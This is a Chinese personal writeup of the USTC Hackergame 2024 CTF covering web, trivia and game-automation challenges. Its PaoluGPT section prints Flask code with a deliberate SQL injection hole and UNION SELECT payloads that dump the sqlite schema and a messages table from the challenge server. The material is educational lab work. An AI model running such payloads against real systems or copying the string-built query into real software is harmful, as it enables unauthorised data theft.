2495 字
12 分钟
中国科学技术大学第十一届信息安全大赛(Hackgame2024)个人题解Writeup

Web#

签到#

让我们说……各种语言,开始今年的冒险!

提示输入不同语言的启动,从F12开发者工具复制一个进去发现不让粘贴,点击了底下的发现会传入URL的参数pass=false,改为true就得到flag了

flag为flag{WeLC0Me-7o-hACkErg@mE-AND-ENJOY-HAcKINg-Zo24}

喜欢做签到的 CTFer 你们好呀#

喜欢做签到的 CTFer 你们好呀,我是一道更典型的 checkin:有两个 flag 就藏在中国科学技术大学校内 CTF 战队的招新主页里!

Checkin Again#

在网上冲浪可以找到这个网页 NebuTerm

输入help可以看到可用的命令,里面发现有env

输入env得到flag:flag{actually_theres_another_flag_here_trY_to_f1nD_1t_y0urself___join_us_ustc_nebula}

PaoluGPT#

在大语言模型时代,几乎每个人都在和大语言模型聊天。小 Q 也想找一个方便使用的 GPT 服务,所以在熟人推荐下,他注册了某个 GPT 服务,并且付了几块钱。只是出乎小 Q 意料的是,他才用了几天,服务商就跑路了!跑路的同时,服务商还公开了一些用户的聊天记录。小 Q 看着这些聊天记录,突然发现里面好像有 flag……

千里挑一#

进入后发现在聊天记录里面有一堆记录,统计了一下有1003条,总不能手翻吧,所以就写了个脚本来梭哈

import httpx
import re
from tqdm import tqdm
FLAG_PATTERN = r'flag\{.*?\}'
LIST_PATTERN = r'href="([^"]+)"'
host = "https://chal01-de7qygf3.hack-challenge.lug.ustc.edu.cn:8443"
list_url = "/list"
cookie = ""
client = httpx.Client(follow_redirects=True, headers={"Cookie": cookie})
response = client.get(host + list_url)
result = re.findall(LIST_PATTERN, response.text)
for link in tqdm(result):
response = client.get(host + link)
if "flag" in response.text:
result = re.findall(FLAG_PATTERN, response.text)
print(link, result)

然后就能够跑出来了,在/view?conversation_id=828eea1b-7f6c-4cd0-9e3c-28aba41c760d里面找到flag,为flag{zU1_xiA0_de_11m_Pa0lule!!!_5167b1a7bc}

窥视未知#

审视源码,发现存在sql注入

@app.route("/view")
def view():
conversation_id = request.args.get("conversation_id")
results = execute_query(f"select title, contents from messages where id = '{conversation_id}'")
return render_template("view.html", message=Message(None, results[0], results[1]))

尝试输入https://chal01-de7qygf3.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=1' UNION SELECT 1,1 --,发现能够正常返回

说明可以用联合注入,尝试用联合注入查询sqlite数据库的所有表格,输入https://chal01-de7qygf3.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=1' UNION SELECT name, name FROM sqlite_master WHERE type="table" --,发现只有messages表格

尝试把messages表格里面的所有东西都导出来,输入https://chal01-de7qygf3.hack-challenge.lug.ustc.edu.cn:8443/view?conversation_id=1' UNION SELECT title, group_concat(id || title || contents) FROM messages --,然后在页面搜索flag,可以得到这一问的flag为flag{enJ0y_y0uR_Sq1_&_1_would_xiaZHOU_hUI_guo_b6696b6a99}

比大小王#

「小孩哥,你干了什么?竟然能一边原崩绝鸣舟,一边农瓦 CSGO。你不去做作业,我等如何排位上分?」

小孩哥不禁莞尔,淡然道:「很简单,做完口算题,拿下比大小王,家长不就让我玩游戏了?」

说罢,小孩哥的气息终于不再掩饰,一百道题,十秒速通。

在这场巅峰对决中,你能否逆风翻盘狙击小孩哥,捍卫我方尊严,成为新一代的「比大小王」?!

打开后发现是小猿口算——Hackergame版,对手会在10秒完成100道比大小,所以手打打不过一点,要写脚本

先看了一下网页源代码,发现script标签有整个的逻辑

let state = {
allowInput: false,
score1: 0,
score2: 0,
values: null,
startTime: null,
value1: null,
value2: null,
inputs: [],
stopUpdate: false,
};
function loadGame() {
fetch('/game', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({}),
})
.then(response => response.json())
.then(data => {
state.values = data.values;
state.startTime = data.startTime * 1000;
state.value1 = data.values[0][0];
state.value2 = data.values[0][1];
document.getElementById('value1').textContent = state.value1;
document.getElementById('value2').textContent = state.value2;
updateCountdown();
})
.catch(error => {
document.getElementById('dialog').textContent = '加载失败,请刷新页面重试';
});
}
function updateCountdown() {
if (state.stopUpdate) {
return;
}
const seconds = Math.ceil((state.startTime - Date.now()) / 1000);
if (seconds >= 4) {
requestAnimationFrame(updateCountdown);
}
if (seconds <= 3 && seconds >= 1) {
document.getElementById('dialog').textContent = seconds;
requestAnimationFrame(updateCountdown);
} else if (seconds <= 0) {
document.getElementById('dialog').style.display = 'none';
state.allowInput = true;
updateTimer();
}
}
function updateTimer() {
if (state.stopUpdate) {
return;
}
const time1 = Date.now() - state.startTime;
const time2 = Math.min(10000, time1);
state.score2 = Math.max(0, Math.floor(time2 / 100));
document.getElementById('time1').textContent = `${String(Math.floor(time1 / 60000)).padStart(2, '0')}:${String(Math.floor(time1 / 1000) % 60).padStart(2, '0')}.${String(time1 % 1000).padStart(3, '0')}`;
document.getElementById('time2').textContent = `${String(Math.floor(time2 / 60000)).padStart(2, '0')}:${String(Math.floor(time2 / 1000) % 60).padStart(2, '0')}.${String(time2 % 1000).padStart(3, '0')}`;
document.getElementById('score2').textContent = state.score2;
document.getElementById('progress2').style.width = `${state.score2}%`;
if (state.score2 === 100) {
state.allowInput = false;
state.stopUpdate = true;
document.getElementById('dialog').textContent = '对手已完成,挑战失败!';
document.getElementById('dialog').style.display = 'flex';
document.getElementById('time1').textContent = `00:10.000`;
} else {
requestAnimationFrame(updateTimer);
}
}
function chooseAnswer(choice) {
if (!state.allowInput) {
return;
}
state.inputs.push(choice);
let correct;
if (state.value1 < state.value2 && choice === '<' || state.value1 > state.value2 && choice === '>') {
correct = true;
state.score1++;
document.getElementById('answer').style.backgroundColor = '#5e5';
} else {
correct = false;
document.getElementById('answer').style.backgroundColor = '#e55';
}
document.getElementById('answer').textContent = choice;
document.getElementById('score1').textContent = state.score1;
document.getElementById('progress1').style.width = `${state.score1}%`;
state.allowInput = false;
setTimeout(() => {
if (state.score1 === 100) {
submit(state.inputs);
} else if (correct) {
state.value1 = state.values[state.score1][0];
state.value2 = state.values[state.score1][1];
state.allowInput = true;
document.getElementById('value1').textContent = state.value1;
document.getElementById('value2').textContent = state.value2;
document.getElementById('answer').textContent = '?';
document.getElementById('answer').style.backgroundColor = '#fff';
} else {
state.allowInput = false;
state.stopUpdate = true;
document.getElementById('dialog').textContent = '你选错了,挑战失败!';
document.getElementById('dialog').style.display = 'flex';
}
}, 200);
}
function submit(inputs) {
fetch('/submit', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({inputs}),
})
.then(response => response.json())
.then(data => {
state.stopUpdate = true;
document.getElementById('dialog').textContent = data.message;
document.getElementById('dialog').style.display = 'flex';
})
.catch(error => {
state.stopUpdate = true;
document.getElementById('dialog').textContent = '提交失败,请刷新页面重试';
document.getElementById('dialog').style.display = 'flex';
});
}
document.addEventListener('keydown', e => {
if (e.key === 'ArrowLeft' || e.key === 'a') {
document.getElementById('less-than').classList.add('active');
setTimeout(() => document.getElementById('less-than').classList.remove('active'), 200);
chooseAnswer('<');
} else if (e.key === 'ArrowRight' || e.key === 'd') {
document.getElementById('greater-than').classList.add('active');
setTimeout(() => document.getElementById('greater-than').classList.remove('active'), 200);
chooseAnswer('>');
}
});
document.getElementById('less-than').addEventListener('click', () => chooseAnswer('<'));
document.getElementById('greater-than').addEventListener('click', () => chooseAnswer('>'));
document.addEventListener('load', loadGame());

然后先写了两题,手动触发了一下submit函数,直接控制台里面打submit(state.inputs),可以看到是向/submit路由发送了一个post请求,里面为json,包含键为inputs值为大于小于号列表的一个字典

然后在脚本里面我们还可以看到是向/game发送post请求获取题目的,于是就可以开始写脚本了

第一版脚本#

import httpx
TOKEN = "10086:AS_U_KNOW_THIS_IS_A_TOKEN"
GET_QUESTIONS = "game"
SUBMIT_ANSWERS = "submit"
client = httpx.Client()
host = "http://202.38.93.141:12122/"
response = client.get(host + "?token=" + TOKEN)
print(client.cookies)
response = client.post(host + GET_QUESTIONS, json={})
print(response.text)
questions = response.json().get("values", [])
answers = []
for question in questions:
if question[0] < question[1]:
answers.append("<")
else:
answers.append(">")
result = client.post(host + SUBMIT_ANSWERS, json={"inputs": answers})
print(answers)
print(result.text)

然后运行发现我一直卡在输入token的那个页面,然后这个问题困扰了我接近3天……然后发现是token通过url传入没有进行url编码导致的

第二版脚本#

import httpx
import time
TOKEN = "10086:AS_U_KNOW_THIS_IS_A_TOKEN"
GET_QUESTIONS = "game"
SUBMIT_ANSWERS = "submit"
client = httpx.Client()
host = "http://202.38.93.141:12122/"
response = client.get(host, params={"token": TOKEN})
print(client.cookies)
response = client.post(host + GET_QUESTIONS, json={})
print(response.text)
questions = response.json().get("values", [])
answers = []
for question in questions:
if question[0] < question[1]:
answers.append("<")
else:
answers.append(">")
result = client.post(host + SUBMIT_ANSWERS, json={"inputs": answers})
print(answers)
print(result.text)

这回我把token通过params传输,就成功拿到session了,然后运行后发现成功拿到flag,返回了内容\u68c0\u6d4b\u5230\u65f6\u7a7a\u7a7f\u8d8a\uff0c\u6311\u6218\u5931\u8d25\uff01检测到时空穿越,挑战失败!

说了是时空穿越,所以应该是时间问题

第三版脚本#

import httpx
import time
TOKEN = "10086:AS_U_KNOW_THIS_IS_A_TOKEN"
GET_QUESTIONS = "game"
SUBMIT_ANSWERS = "submit"
client = httpx.Client()
host = "http://202.38.93.141:12122/"
response = client.get(host, params={"token": TOKEN})
print(client.cookies)
response = client.post(host + GET_QUESTIONS, json={})
print(response.text)
questions = response.json().get("values", [])
answers = []
for question in questions:
if question[0] < question[1]:
answers.append("<")
else:
answers.append(">")
time.sleep(5)
result = client.post(host + SUBMIT_ANSWERS, json={"inputs": answers})
print(answers)
print(result.text)

啥?你问我为什么是等5秒?因为我试过了小于5秒都会触发那个问题。运行后返回\u6311\u6218\u6210\u529f\uff01flag{i-4m-7He-h@ck3R-K1nG-0f-C0mP@R!N9-NuM6ER$-z0Z4}挑战成功!flag{i-4m-7He-h@ck3R-K1nG-0f-C0mP@R!N9-NuM6ER$-z0Z4}

得到flag为flag{i-4m-7He-h@ck3R-K1nG-0f-C0mP@R!N9-NuM6ER$-z0Z4}

Misc#

打不开的盒#

发了一个stl文件,说flag在盒子里面,丢进blender里面用透视进去看然后抄出来就行了

得到flag为flag{Dr4W_Us!nG_fR3E_C4D!!w0W}

猫咪问答(Hackergame 十周年纪念版)#

多年回答猫咪问答的猫咪大多目光锐利,极度自信,且智力逐年增加,最后完全变成猫咪问答高手。回答猫咪问答会优化身体结构,突破各种猫咪极限。猫咪一旦开始回答猫咪问答,就说明这只猫咪的智慧品行样貌通通都是上等,这辈子注定在猫咪界大有作为。

在 Hackergame 2015 比赛开始前一天晚上开展的赛前讲座是在哪个教室举行的?#

可以找到LUG的网站关于Hackergame的活动记录 信息安全大赛 Hackergame - LUG @ USTC

然后按照年份排列,2015年的是第二届,打开存档链接 contest SEC@USTC

可以看到比赛时间安排里面

10 月 17 日 周六晚上 19:30 3A204 网络攻防技巧讲座 10 月 18 日 周日上午 10:00 初赛 在线开展 10 月 24 日 周六凌晨 00:00 初赛结束 后续开展复赛

所以是3A204

Hackergame 2018 让哪个热门检索词成为了科大图书馆当月热搜第一?#

在官方wp里面有个其他花絮里面有 hackergame2018-writeups/misc/others.md at master · ustclug/hackergame2018-writeups

答案为程序员的自我修养

10 月 18 日 Greg Kroah-Hartman 向 Linux 邮件列表提交的一个 patch 把大量开发者从 MAINTAINERS 文件中移除。这个 patch 被合并进 Linux mainline 的 commit id 是多少?#

找到Github的linux仓库 https://github.com/torvalds/linux

在Commit中根据时间搜索,然后搜索关键词MAINTAINERS可以找到commit 6e90b675cf942e50c70e8394dfb5862975c3b3b2,取前6位为6e90b6

吐槽:说好的开源自由呢?这也太自由了

在今年的 USENIX Security 学术会议上中国科学技术大学发表了一篇关于电子邮件伪造攻击的论文,在论文中作者提出了 6 种攻击方法,并在多少个电子邮件服务提供商及客户端的组合上进行了实验?#

搜索论文题目可以找到这篇论文 usenix.org/system/files/usenixsecurity24-ma-jinrui.pdf

然后页面内搜索combination发现在第9页中有

All 20 clients are configured as MUAs for all 16 providers via IMAP, resulting in 336 combinations (including 16 web interfaces of target providers).

所以是336

喵?#

至此,我们已经达到了60分(实际上为65),拿到flag为flag{A_GO0d_©47_iS_7h3_cαt_Wh0_CΛИ_pα$$_7h3_qU!z}

众所周知,Hackergame 共约 25 道题目。近五年(不含今年)举办的 Hackergame 中,题目数量最接近这个数字的那一届比赛里有多少人注册参加?#

经过统计,我们可以得到这样的关系

Hackergame(年)题目数量(道)
201928
202031
202131
202233
202329

所以应该是2019年,找到2019年的推文中国科学技术大学第五届信息安全大赛圆满结束 - LUG @ USTC,得到答案2682

大语言模型会把输入分解为一个一个的 token 后继续计算,请问这个网页的 HTML 源代码会被 Meta 的 Llama 3 70B 模型的 tokenizer 分解为多少个 token?#

实在是不知道怎么算,于是开始用BP爆破了,爆破出来答案为1833

#

100分后得到flag为flag{tEИ_Ye4Яs_Oƒ_HA©K3rgαMe_ØmED370บ_Wi7H_ИeKo_qบI2}

中国科学技术大学第十一届信息安全大赛(Hackgame2024)个人题解Writeup
https://bili33.top/posts/ctf-hackergame2024-writeup/
作者
GamerNoTitle
发布于
2024-11-09
许可协议
CC BY-NC-SA 4.0